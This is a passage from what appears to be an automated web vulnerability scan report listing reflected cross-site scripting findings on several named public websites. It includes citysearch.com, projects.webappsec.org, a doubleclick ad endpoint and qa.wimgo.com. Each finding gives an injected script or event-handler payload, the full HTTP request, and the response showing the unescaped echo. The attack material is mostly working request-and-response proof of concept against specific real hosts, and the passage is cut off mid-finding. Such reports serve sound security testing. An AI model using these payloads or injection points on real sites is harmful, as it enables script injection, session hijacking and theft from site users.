<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!--[if IE]><![endif]--><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...
<link rel="canonical" href="http://pittsburgh.citysearch.com/guide/pittsburgh-pa/x26amp?21a0f"><script>alert(1)</script>9c07a67884d=1" />
...[SNIP]...

1.138. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pittsburgh.citysearch.com
Path:   /listings/bloomfield/musical_instruments/8667_3948

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a46c"><img%20src%3da%20onerror%3dalert(1)>da470ffd4e0 was submitted in the REST URL parameter 2. This input was echoed as 6a46c"><img src=a onerror=alert(1)>da470ffd4e0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /listings/bloomfield6a46c"><img%20src%3da%20onerror%3dalert(1)>da470ffd4e0/musical_instruments/8667_3948 HTTP/1.1
Host: pittsburgh.citysearch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:13:38 GMT
Server: Apache-Coyote/1.1
Set-Cookie: abtest=a; path=/; domain=.citysearch.com; expires=Sat, 12-Mar-2011 02:13:38 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en
Set-Cookie: usrid=eab5605139476f5ffbfe6499a3d40ec9ea63650a; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:38 GMT; Path=/
Set-Cookie: cs_session=2d7b669341af42bf0f7a290aa6b816f2be48fb13; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:38 GMT; Path=/
Set-Cookie: publisher=citysearch; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:38 GMT; Path=/
Set-Cookie: reqseq=1; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:38 GMT; Path=/
Set-Cookie: recent_geos=8667%7E%7CBloomfield; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:38 GMT; Path=/
Set-Cookie: tseg=71; Domain=.citysearch.com; Expires=Fri, 27-May-2011 02:13:38 GMT; Path=/
Set-Cookie: userSearchLoc=Bloomfield%20%28Pittsburgh%2C%20PA%29%7E%7C8667; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:38 GMT; Path=/
Vary: Accept-Encoding
Connection: close
Content-Length: 65014

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!--[if IE]><![endif]--><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...
<input name="where" id="filter:where" type="hidden" value="bloomfield6a46c"><img src=a onerror=alert(1)>da470ffd4e0" />
...[SNIP]...

1.139. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pittsburgh.citysearch.com
Path:   /listings/bloomfield/musical_instruments/8667_3948

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac61d"><img%20src%3da%20onerror%3dalert(1)>cacbbb22cec was submitted in the REST URL parameter 3. This input was echoed as ac61d"><img src=a onerror=alert(1)>cacbbb22cec in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /listings/bloomfield/musical_instrumentsac61d"><img%20src%3da%20onerror%3dalert(1)>cacbbb22cec/8667_3948 HTTP/1.1
Host: pittsburgh.citysearch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:13:51 GMT
Server: Apache-Coyote/1.1
Set-Cookie: abtest=a; path=/; domain=.citysearch.com; expires=Sat, 12-Mar-2011 02:13:51 GMT
Content-Type: text/html;charset=UTF-8
Content-Language: en
Set-Cookie: usrid=f5ff0092c0269684beef07934aaa870c1c9371c2; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:51 GMT; Path=/
Set-Cookie: cs_session=b0c0593abce4beb60e5b4d88bead462f5d5a680c; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:51 GMT; Path=/
Set-Cookie: publisher=citysearch; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:51 GMT; Path=/
Set-Cookie: reqseq=1; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:43:51 GMT; Path=/
Set-Cookie: recent_geos=8667%7E%7CBloomfield; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:51 GMT; Path=/
Set-Cookie: tseg=823; Domain=.citysearch.com; Expires=Fri, 27-May-2011 02:13:51 GMT; Path=/
Set-Cookie: userSearchLoc=Bloomfield%20%28Pittsburgh%2C%20PA%29%7E%7C8667; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:13:51 GMT; Path=/
Vary: Accept-Encoding
Connection: close
Content-Length: 57597

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!--[if IE]><![endif]--><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...
<input name="tagName" id="filter:tagName" type="hidden" value="musical_instrumentsac61d"><img src=a onerror=alert(1)>cacbbb22cec" />
...[SNIP]...

1.140. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948/x22 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pittsburgh.citysearch.com
Path:   /listings/bloomfield/musical_instruments/8667_3948/x22

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf296"><script>alert(1)</script>915b0164ca9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /listings/bloomfield/musical_instruments/8667_3948/x22?cf296"><script>alert(1)</script>915b0164ca9=1 HTTP/1.1
Host: pittsburgh.citysearch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 /listings/bloomfield/musical_instruments/8667_3948/x22
Date: Sat, 26 Feb 2011 02:12:58 GMT
Server: Apache-Coyote/1.1
Set-Cookie: abtest=a; path=/; domain=.citysearch.com; expires=Sat, 12-Mar-2011 02:12:58 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Set-Cookie: usrid=60b9ad0426bf6582b94ea75a479ea44d9be383ce; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:12:58 GMT; Path=/
Set-Cookie: cs_session=d11a5e0f1728cb13879eba43ec96db5dabdc99f7; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:42:58 GMT; Path=/
Set-Cookie: publisher=citysearch; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:42:58 GMT; Path=/
Set-Cookie: reqseq=1; Domain=.citysearch.com; Expires=Sat, 26-Feb-2011 02:42:58 GMT; Path=/
Set-Cookie: recent_geos=71473%7E%7CDallas; Domain=.citysearch.com; Expires=Sun, 26-Feb-2012 02:12:58 GMT; Path=/
Set-Cookie: tseg=387; Domain=.citysearch.com; Expires=Fri, 27-May-2011 02:12:58 GMT; Path=/
Vary: Accept-Encoding
Connection: close
Content-Length: 17810

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!--[if IE]><![endif]--><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...
<link rel="canonical" href="http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948/x22?cf296"><script>alert(1)</script>915b0164ca9=1" />
...[SNIP]...

1.141. http://projects.webappsec.org/w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://projects.webappsec.org
Path:   /w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57c86"><img%20src%3da%20onerror%3dalert(1)>64ff6fcbc40 was submitted in the REST URL parameter 4. This input was echoed as 57c86"><img src=a onerror=alert(1)>64ff6fcbc40 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria57c86"><img%20src%3da%20onerror%3dalert(1)>64ff6fcbc40 HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:16:22 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: deny
Expires: Fri, 25 Feb 2011 02:16:21 GMT
Cache-Control: no-cache
Content-Length: 25531

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<a href="http://projects.webappsec.org/w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria57c86"><img src=a onerror=alert(1)>64ff6fcbc40?show_all=1">
...[SNIP]...

1.142. http://projects.webappsec.org/w/page-revisions/13246986/a [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://projects.webappsec.org
Path:   /w/page-revisions/13246986/a

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8641"><img%20src%3da%20onerror%3dalert(1)>0f2d26e32b6 was submitted in the REST URL parameter 4. This input was echoed as b8641"><img src=a onerror=alert(1)>0f2d26e32b6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /w/page-revisions/13246986/ab8641"><img%20src%3da%20onerror%3dalert(1)>0f2d26e32b6 HTTP/1.1
Host: projects.webappsec.org
Proxy-Connection: keep-alive
Referer: http://projects.webappsec.org/w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria57c86%22%3E%3Cimg%20src%3da%20onerror%3dalert(1)%3E64ff6fcbc40
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: pbj=c141224b73feb9193565e6eeb03e001298670485; __qca=P0-1048600453-1298670520461; __utmz=133238479.1298686864.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=133238479.1282775871.1298670519.1298670519.1298686864.2; __utmc=133238479; __utmb=133238479.1.10.1298686864

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:31:30 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Frame-Options: deny
Expires: Fri, 25 Feb 2011 02:31:30 GMT
Cache-Control: no-cache
Content-Length: 25423

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<a href="http://projects.webappsec.org/w/page-revisions/13246986/ab8641"><img src=a onerror=alert(1)>0f2d26e32b6?show_all=1">
...[SNIP]...

1.143. http://pubads.g.doubleclick.net/gampad/ads [slotname parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pubads.g.doubleclick.net
Path:   /gampad/ads

Issue detail

The value of the slotname request parameter is copied into the HTML document as plain text between tags. The payload f0150<script>alert(1)</script>d9fc77691a6 was submitted in the slotname parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gampad/ads?correlator=1298497010810&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-4809460702016037&slotname=KOMO_Homepage_Hyperlocal_Ad_Slot_IP_300x250f0150<script>alert(1)</script>d9fc77691a6&page_slots=KOMO_Homepage_Hyperlocal_Ad_Slot_IP_300x250&cookie_enabled=1&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1659860762&ga_fc=true&url=http%3A%2F%2Fwww.komonews.com%2F&lmt=1298518211&dt=1298497010811&cc=33&biw=1210&bih=642&ifi=1&adk=2142605729&u_tz=-360&u_his=1&u_java=true&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&flash=10.2.154 HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.komonews.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Wed, 23 Feb 2011 21:38:36 GMT
Server: gfp-be
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 2773

GA_googleSetAdContentsBySlotForSync({"KOMO_Homepage_Hyperlocal_Ad_Slot_IP_300x250f0150<script>alert(1)</script>d9fc77691a6":{"_type_":"html","_expandable_":false,"_html_":"\x3c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"\x3e\x3chtml\x3e\x3chead\x3e\x3cstyle\x3ea:link{color:#f
...[SNIP]...

1.144. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://qa.wimgo.com
Path:   /bloomfield-nm/shopping/musical-instruments/x22

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec907"><script>alert(1)</script>dfc89eb5c90 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /bloomfield-nm/shopping/musical-instrumentsec907"><script>alert(1)</script>dfc89eb5c90/x22 HTTP/1.1
Host: qa.wimgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:18:26 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.3 ZendServer/5.0
Set-Cookie: PHPSESSID=el4ekel9u3jv3uo8qkc3utlk77; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AcGJoYWdlbFBicXI9SEYmcGJoYWdlbEFuenI9SGF2Z3JxK0ZnbmdyZiZlcnR2YmE9R0smcHZnbD1Rbnl5bmYmY2JmZ255UGJxcj03NTIwNyZ5bmd2Z2hxcj0zMi43ODI1JnliYXR2Z2hxcj0tOTYuODIwNyZuZXJuUGJxcj0yMTQmcXpuUGJxcj02MjMmcGJoYWdlbFBicXIzPUhGTiZtdmM9NzUyMDcmZmduZ3I9R0s%3D; expires=Sat, 26-Feb-2011 03:18:26 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3ANjQyOA%3D%3D; expires=Sat, 26-Feb-2011 03:18:26 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _c=2483; expires=Sat, 26-Feb-2011 03:18:26 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3AMjQ4Mw%3D%3D; expires=Sat, 26-Feb-2011 03:18:26 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AeW5ndmdocXI9MzYuNzEwNzIyJnliYXR2Z2hxcj0tMTA3Ljk4MjY2OCZwdmdsPU95YmJ6c3ZyeXEmZmduZ3I9QVo%3D; expires=Sat, 26-Feb-2011 03:18:26 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:18:26 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:18:26 GMT; path=/; domain=qa.wimgo.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56580

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/sch
...[SNIP]...
<a rel="nofollow" href="/bloomfield-nm/shopping/musical-instrumentsec907"><script>alert(1)</script>dfc89eb5c90/x22?navs=39%2C394%2C135%2C80%2C832%2C618%2C0%2C0&nv1=Attractions">
...[SNIP]...

1.145. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://qa.wimgo.com
Path:   /bloomfield-nm/shopping/musical-instruments/x22

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2093"-alert(1)-"0fd1d4f72b0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bloomfield-nm/shopping/musical-instrumentse2093"-alert(1)-"0fd1d4f72b0/x22 HTTP/1.1
Host: qa.wimgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:18:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.3 ZendServer/5.0
Set-Cookie: PHPSESSID=g7r6tdiihg9dd8pt4okfrb2rh7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AcGJoYWdlbFBicXI9SEYmcGJoYWdlbEFuenI9SGF2Z3JxK0ZnbmdyZiZlcnR2YmE9R0smcHZnbD1Rbnl5bmYmY2JmZ255UGJxcj03NTIwNyZ5bmd2Z2hxcj0zMi43ODI1JnliYXR2Z2hxcj0tOTYuODIwNyZuZXJuUGJxcj0yMTQmcXpuUGJxcj02MjMmcGJoYWdlbFBicXIzPUhGTiZtdmM9NzUyMDcmZmduZ3I9R0s%3D; expires=Sat, 26-Feb-2011 03:18:38 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3ANjQyOA%3D%3D; expires=Sat, 26-Feb-2011 03:18:38 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _c=2483; expires=Sat, 26-Feb-2011 03:18:38 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3AMjQ4Mw%3D%3D; expires=Sat, 26-Feb-2011 03:18:38 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AeW5ndmdocXI9MzYuNzEwNzIyJnliYXR2Z2hxcj0tMTA3Ljk4MjY2OCZwdmdsPU95YmJ6c3ZyeXEmZmduZ3I9QVo%3D; expires=Sat, 26-Feb-2011 03:18:38 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:18:38 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:18:38 GMT; path=/; domain=qa.wimgo.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56166

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/sch
...[SNIP]...
" ) );
});
$( "#slider" ).bind( "slidechange", function(event, ui) {
setRadius( $(this).slider( "option", "value" ) );
radiusUrl = "/bloomfield-nm/shopping/musical-instrumentse2093"-alert(1)-"0fd1d4f72b0/x22?radius=RADIUS";
radiusUrl = radiusUrl.replace( 'RADIUS', $(this).slider( "option", "value" ) );
window.location = radiusUrl;
});
$( "select.f-left" ).change(function () {

...[SNIP]...

1.146. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://qa.wimgo.com
Path:   /bloomfield-nm/shopping/musical-instruments/x22

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9a6de"-alert(1)-"b1c598501c5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bloomfield-nm/shopping/musical-instruments/x229a6de"-alert(1)-"b1c598501c5 HTTP/1.1
Host: qa.wimgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:19:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.3 ZendServer/5.0
Set-Cookie: PHPSESSID=ka25urdt89ool7794ausasb6r5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AcGJoYWdlbFBicXI9SEYmcGJoYWdlbEFuenI9SGF2Z3JxK0ZnbmdyZiZlcnR2YmE9R0smcHZnbD1Rbnl5bmYmY2JmZ255UGJxcj03NTIwNyZ5bmd2Z2hxcj0zMi43ODI1JnliYXR2Z2hxcj0tOTYuODIwNyZuZXJuUGJxcj0yMTQmcXpuUGJxcj02MjMmcGJoYWdlbFBicXIzPUhGTiZtdmM9NzUyMDcmZmduZ3I9R0s%3D; expires=Sat, 26-Feb-2011 03:19:09 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3ANjQyOA%3D%3D; expires=Sat, 26-Feb-2011 03:19:09 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _c=2483; expires=Sat, 26-Feb-2011 03:19:09 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3AMjQ4Mw%3D%3D; expires=Sat, 26-Feb-2011 03:19:09 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AeW5ndmdocXI9MzYuNzEwNzIyJnliYXR2Z2hxcj0tMTA3Ljk4MjY2OCZwdmdsPU95YmJ6c3ZyeXEmZmduZ3I9QVo%3D; expires=Sat, 26-Feb-2011 03:19:09 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:19:09 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:19:09 GMT; path=/; domain=qa.wimgo.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56165

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/sch
...[SNIP]...
);
});
$( "#slider" ).bind( "slidechange", function(event, ui) {
setRadius( $(this).slider( "option", "value" ) );
radiusUrl = "/bloomfield-nm/shopping/musical-instruments/x229a6de"-alert(1)-"b1c598501c5?radius=RADIUS";
radiusUrl = radiusUrl.replace( 'RADIUS', $(this).slider( "option", "value" ) );
window.location = radiusUrl;
});
$( "select.f-left" ).change(function () {

...[SNIP]...

1.147. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://qa.wimgo.com
Path:   /bloomfield-nm/shopping/musical-instruments/x22

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92fce"><script>alert(1)</script>de7cf7e6ed3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /bloomfield-nm/shopping/musical-instruments/x2292fce"><script>alert(1)</script>de7cf7e6ed3 HTTP/1.1
Host: qa.wimgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:18:58 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.3 ZendServer/5.0
Set-Cookie: PHPSESSID=fqj5h9h5515ffsn856fdnqpui5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AcGJoYWdlbFBicXI9SEYmcGJoYWdlbEFuenI9SGF2Z3JxK0ZnbmdyZiZlcnR2YmE9R0smcHZnbD1Rbnl5bmYmY2JmZ255UGJxcj03NTIwNyZ5bmd2Z2hxcj0zMi43ODI1JnliYXR2Z2hxcj0tOTYuODIwNyZuZXJuUGJxcj0yMTQmcXpuUGJxcj02MjMmcGJoYWdlbFBicXIzPUhGTiZtdmM9NzUyMDcmZmduZ3I9R0s%3D; expires=Sat, 26-Feb-2011 03:18:58 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3ANjQyOA%3D%3D; expires=Sat, 26-Feb-2011 03:18:58 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _c=2483; expires=Sat, 26-Feb-2011 03:18:58 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3AMjQ4Mw%3D%3D; expires=Sat, 26-Feb-2011 03:18:58 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AeW5ndmdocXI9MzYuNzEwNzIyJnliYXR2Z2hxcj0tMTA3Ljk4MjY2OCZwdmdsPU95YmJ6c3ZyeXEmZmduZ3I9QVo%3D; expires=Sat, 26-Feb-2011 03:18:58 GMT; path=/; domain=qa.wimgo.com
